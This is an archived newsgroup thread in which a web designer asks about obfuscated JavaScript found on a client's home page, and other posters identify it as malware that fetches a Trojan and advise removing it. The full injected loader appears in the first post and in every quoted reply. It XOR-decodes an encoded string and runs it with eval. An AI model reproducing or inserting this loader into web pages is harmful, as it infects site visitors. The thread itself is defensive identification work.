Mystery Source Code
Can anyone tell me what this is....
<body style="background-image: url(bgrnd_home.jpg); background-attachment:
fixed;"><script language=JavaScript>function fban(x){var
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,7,57,18,32 ,24,1,55,27,0,0,0,0,0,0,44,4,14,0,53,8,61,42,48,13,29,33,6,1 1,56,36,19,39,58,60,43,22,25,59,9,31,34,0,0,0,0,37,0,45,40,4 1,5,35,46,38,47,12,54,26,15,21,20,51,52,23,30,17,28,3,62,50, 10,16,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l ,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(193^w&255);w> >=8;s-=2}else{s=6}}}eval(r);}}fban('jZRT_RGahM9a5UMawwh3dRRT Okfv_RGbpwxchUWWjBMGD4kRg8lGQBMb [at] 4kNhzxTOw0cNPGFj2f [at] oxx0eQka DLWvfWfc5UMcDukcwvvTOUTWDRf0gTBe5U9GhlTTpvkccoEbDgRWozRT_RxT cevRHPlv3qlRG9vcNPGFj9fRglrNjZkcDgx0wMhSKQxcbkkGDwYF32f [at] DZ9T Ow0N_ZG [at] 1jxbNf0Tfvxce0Y0feRcozxTOvh3bu')</script>
.....The background is a genuine image but that is all I recognise.
This is off the webiste's Home page which has been uploaded by the website's
owner since I originally published it. She has been having a few problems
which I have managed to resolve but this bit is a mystery to me.
Can anyone help?
TIA
Ed
Re: Mystery Source Code
It is javascript that calls up a website that downloads a Trojan onto
the computer. The script is malicious and must be removed. Your
client's PC and web site should also be disinfected.
--
Ron Symonds - Microsoft MVP (FrontPage)
Reply only to group - emails will be deleted unread.
http://www.rxs-enterprises.org/fp
"Edward" <edward.j.obrien [at] DELETEbtinternet.com> wrote in message
news:70A6F0C7-2DD4-4584-AE1D-56FD85C47A38 [at] microsoft.com:
> Can anyone tell me what this is....
>
> <body style="background-image: url(bgrnd_home.jpg); background-attachment:
> fixed;"><script language=JavaScript>function fban(x){var
> l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,7,57,18,32 ,24,1,55,27,0,0,0,0,0,0,44,4,14,0,53,8,61,42,48,13,29,33,6,1 1,56,36,19,39,58,60,43,22,25,59,9,31,34,0,0,0,0,37,0,45,40,4 1,5,35,46,38,47,12,54,26,15,21,20,51,52,23,30,17,28,3,62,50, 10,16,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l ,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(193^w&255);w> >=8;s-=2}else{s=6}}}eval(r);}}fban('jZRT_RGahM9a5UMawwh3dRRT Okfv_RGbpwxchUWWjBMGD4kRg8lGQBMb [at] 4kNhzxTOw0cNPGFj2f [at] oxx0eQka DLWvfWfc5UMcDukcwvvTOUTWDRf0gTBe5U9GhlTTpvkccoEbDgRWozRT_RxT cevRHPlv3qlRG9vcNPGFj9fRglrNjZkcDgx0wMhSKQxcbkkGDwYF32f [at] DZ9T Ow0N_ZG [at] 1jxbNf0Tfvxce0Y0feRcozxTOvh3bu')</script>
>
> ....The background is a genuine image but that is all I recognise.
>
> This is off the webiste's Home page which has been uploaded by the website's
> owner since I originally published it. She has been having a few problems
> which I have managed to resolve but this bit is a mystery to me.
>
> Can anyone help?
>
> TIA
>
> Ed
Re: Mystery Source Code
Thanks, Ron.
I'll take care of it immediately.
Best wishes,
Ed
"Ronx" <ronx917 [at] hotmail.com> wrote in message
news:uywIS4WlIHA.696 [at] TK2MSFTNGP05.phx.gbl...
> It is javascript that calls up a website that downloads a Trojan onto the
> computer. The script is malicious and must be removed. Your client's PC
> and web site should also be disinfected.
>
> --
> Ron Symonds - Microsoft MVP (FrontPage)
> Reply only to group - emails will be deleted unread.
>
> http://www.rxs-enterprises.org/fp
>
>
>
>
> "Edward" <edward.j.obrien [at] DELETEbtinternet.com> wrote in message
> news:70A6F0C7-2DD4-4584-AE1D-56FD85C47A38 [at] microsoft.com:
>
>> Can anyone tell me what this is....
>>
>> <body style="background-image: url(bgrnd_home.jpg);
>> background-attachment:
>> fixed;"><script language=JavaScript>function fban(x){var
>> l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,7,57,18,32 ,24,1,55,27,0,0,0,0,0,0,44,4,14,0,53,8,61,42,48,13,29,33,6,1 1,56,36,19,39,58,60,43,22,25,59,9,31,34,0,0,0,0,37,0,45,40,4 1,5,35,46,38,47,12,54,26,15,21,20,51,52,23,30,17,28,3,62,50, 10,16,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l ,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(193^w&255);w> >=8;s-=2}else{s=6}}}eval(r);}}fban('jZRT_RGahM9a5UMawwh3dRRT Okfv_RGbpwxchUWWjBMGD4kRg8lGQBMb [at] 4kNhzxTOw0cNPGFj2f [at] oxx0eQka DLWvfWfc5UMcDukcwvvTOUTWDRf0gTBe5U9GhlTTpvkccoEbDgRWozRT_RxT cevRHPlv3qlRG9vcNPGFj9fRglrNjZkcDgx0wMhSKQxcbkkGDwYF32f [at] DZ9T Ow0N_ZG [at] 1jxbNf0Tfvxce0Y0feRcozxTOvh3bu')</script>
>>
>> ....The background is a genuine image but that is all I recognise.
>>
>> This is off the webiste's Home page which has been uploaded by the
>> website's
>> owner since I originally published it. She has been having a few problems
>> which I have managed to resolve but this bit is a mystery to me.
>>
>> Can anyone help?
>>
>> TIA
>>
>> Ed
>
Re: Mystery Source Code
Ron-
Can you break that down some time, so that others may see what is happening
in this script. It is beyond what I know of javascript
"Ronx" <ronx917 [at] hotmail.com> wrote in message
news:uywIS4WlIHA.696 [at] TK2MSFTNGP05.phx.gbl...
> It is javascript that calls up a website that downloads a Trojan onto the
> computer. The script is malicious and must be removed. Your client's PC
> and web site should also be disinfected.
>
> --
> Ron Symonds - Microsoft MVP (FrontPage)
> Reply only to group - emails will be deleted unread.
>
> http://www.rxs-enterprises.org/fp
>
>
>
>
> "Edward" <edward.j.obrien [at] DELETEbtinternet.com> wrote in message
> news:70A6F0C7-2DD4-4584-AE1D-56FD85C47A38 [at] microsoft.com:
>
>> Can anyone tell me what this is....
>>
>> <body style="background-image: url(bgrnd_home.jpg);
>> background-attachment:
>> fixed;"><script language=JavaScript>function fban(x){var
>> l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,7,57,18,32 ,24,1,55,27,0,0,0,0,0,0,44,4,14,0,53,8,61,42,48,13,29,33,6,1 1,56,36,19,39,58,60,43,22,25,59,9,31,34,0,0,0,0,37,0,45,40,4 1,5,35,46,38,47,12,54,26,15,21,20,51,52,23,30,17,28,3,62,50, 10,16,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l ,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(193^w&255);w> >=8;s-=2}else{s=6}}}eval(r);}}fban('jZRT_RGahM9a5UMawwh3dRRT Okfv_RGbpwxchUWWjBMGD4kRg8lGQBMb [at] 4kNhzxTOw0cNPGFj2f [at] oxx0eQka DLWvfWfc5UMcDukcwvvTOUTWDRf0gTBe5U9GhlTTpvkccoEbDgRWozRT_RxT cevRHPlv3qlRG9vcNPGFj9fRglrNjZkcDgx0wMhSKQxcbkkGDwYF32f [at] DZ9T Ow0N_ZG [at] 1jxbNf0Tfvxce0Y0feRcozxTOvh3bu')</script>
>>
>> ....The background is a genuine image but that is all I recognise.
>>
>> This is off the webiste's Home page which has been uploaded by the
>> website's
>> owner since I originally published it. She has been having a few problems
>> which I have managed to resolve but this bit is a mystery to me.
>>
>> Can anyone help?
>>
>> TIA
>>
>> Ed
>
Re: Mystery Source Code
Looks like Brave Sentry malware...google it...but I would NOT go to their
website.
--
~~~~~~~~~~~~~~~~~~
Rob Giordano
Microsoft MVP Expression
"Mike Mueller" <MyName [at] ecinet.net> wrote in message
news:4C397CAD-575B-4ECE-A2B8-37393B0216CC [at] microsoft.com...
| Ron-
| Can you break that down some time, so that others may see what is
happening
| in this script. It is beyond what I know of javascript
|
|
| "Ronx" <ronx917 [at] hotmail.com> wrote in message
| news:uywIS4WlIHA.696 [at] TK2MSFTNGP05.phx.gbl...
| > It is javascript that calls up a website that downloads a Trojan onto
the
| > computer. The script is malicious and must be removed. Your client's
PC
| > and web site should also be disinfected.
| >
| > --
| > Ron Symonds - Microsoft MVP (FrontPage)
| > Reply only to group - emails will be deleted unread.
| >
| > http://www.rxs-enterprises.org/fp
| >
| >
| >
| >
| > "Edward" <edward.j.obrien [at] DELETEbtinternet.com> wrote in message
| > news:70A6F0C7-2DD4-4584-AE1D-56FD85C47A38 [at] microsoft.com:
| >
| >> Can anyone tell me what this is....
| >>
| >> <body style="background-image: url(bgrnd_home.jpg);
| >> background-attachment:
| >> fixed;"><script language=JavaScript>function fban(x){var
| >>
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,7,57,18,32 ,24,1,55,27,0,0,0,0,0,0,44,4,14,0,53,8,61,42,48,13,29,33,6,1 1,56,36,19,39,58,60,43,22,25,59,9,31,34,0,0,0,0,37,0,45,40,4 1,5,35,46,38,47,12,54,26,15,21,20,51,52,23,30,17,28,3,62,50, 10,16,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l ,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(193^w&255);w> >=8;s-=2}else{s=6}}}eval(r);}}fban('jZRT_RGahM9a5UMawwh3dRRT Okfv_RGbpwxchUWWjBMGD4kRg8lGQBMb [at] 4kNhzxTOw0cNPGFj2f [at] oxx0eQka DLWvfWfc5UMcDukcwvvTOUTWDRf0gTBe5U9GhlTTpvkccoEbDgRWozRT_RxT cevRHPlv3qlRG9vcNPGFj9fRglrNjZkcDgx0wMhSKQxcbkkGDwYF32f [at] DZ9T Ow0N_ZG [at] 1jxbNf0Tfvxce0Y0feRcozxTOvh3bu')</script>
| >>
| >> ....The background is a genuine image but that is all I recognise.
| >>
| >> This is off the webiste's Home page which has been uploaded by the
| >> website's
| >> owner since I originally published it. She has been having a few
problems
| >> which I have managed to resolve but this bit is a mystery to me.
| >>
| >> Can anyone help?
| >>
| >> TIA
| >>
| >> Ed
| >
|
Re: Mystery Source Code
I'll look over the weekend. Rob's post may be more useful.
--
Ron Symonds - Microsoft MVP (FrontPage)
Reply only to group - emails will be deleted unread.
http://www.rxs-enterprises.org/fp
"Mike Mueller" <MyName [at] ecinet.net> wrote in message
news:4C397CAD-575B-4ECE-A2B8-37393B0216CC [at] microsoft.com:
> Ron-
> Can you break that down some time, so that others may see what is happening
> in this script. It is beyond what I know of javascript
>
>
> "Ronx" <ronx917 [at] hotmail.com> wrote in message
> news:uywIS4WlIHA.696 [at] TK2MSFTNGP05.phx.gbl...
> > It is javascript that calls up a website that downloads a Trojan onto the
> > computer. The script is malicious and must be removed. Your client's PC
> > and web site should also be disinfected.
> >
> > --
> > Ron Symonds - Microsoft MVP (FrontPage)
> > Reply only to group - emails will be deleted unread.
> >
> > http://www.rxs-enterprises.org/fp
> >
> >
> >
> >
> > "Edward" <edward.j.obrien [at] DELETEbtinternet.com> wrote in message
> > news:70A6F0C7-2DD4-4584-AE1D-56FD85C47A38 [at] microsoft.com:
> >
> >> Can anyone tell me what this is....
> >>
> >> <body style="background-image: url(bgrnd_home.jpg);
> >> background-attachment:
> >> fixed;"><script language=JavaScript>function fban(x){var
> >> l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,7,57,18,32 ,24,1,55,27,0,0,0,0,0,0,44,4,14,0,53,8,61,42,48,13,29,33,6,1 1,56,36,19,39,58,60,43,22,25,59,9,31,34,0,0,0,0,37,0,45,40,4 1,5,35,46,38,47,12,54,26,15,21,20,51,52,23,30,17,28,3,62,50, 10,16,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l ,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(193^w&255);w> >=8;s-=2}else{s=6}}}eval(r);}}fban('jZRT_RGahM9a5UMawwh3dRRT Okfv_RGbpwxchUWWjBMGD4kRg8lGQBMb [at] 4kNhzxTOw0cNPGFj2f [at] oxx0eQka DLWvfWfc5UMcDukcwvvTOUTWDRf0gTBe5U9GhlTTpvkccoEbDgRWozRT_RxT cevRHPlv3qlRG9vcNPGFj9fRglrNjZkcDgx0wMhSKQxcbkkGDwYF32f [at] DZ9T Ow0N_ZG [at] 1jxbNf0Tfvxce0Y0feRcozxTOvh3bu')</script>
> >>
> >> ....The background is a genuine image but that is all I recognise.
> >>
> >> This is off the webiste's Home page which has been uploaded by the
> >> website's
> >> owner since I originally published it. She has been having a few problems
> >> which I have managed to resolve but this bit is a mystery to me.
> >>
> >> Can anyone help?
> >>
> >> TIA
> >>
> >> Ed
> >
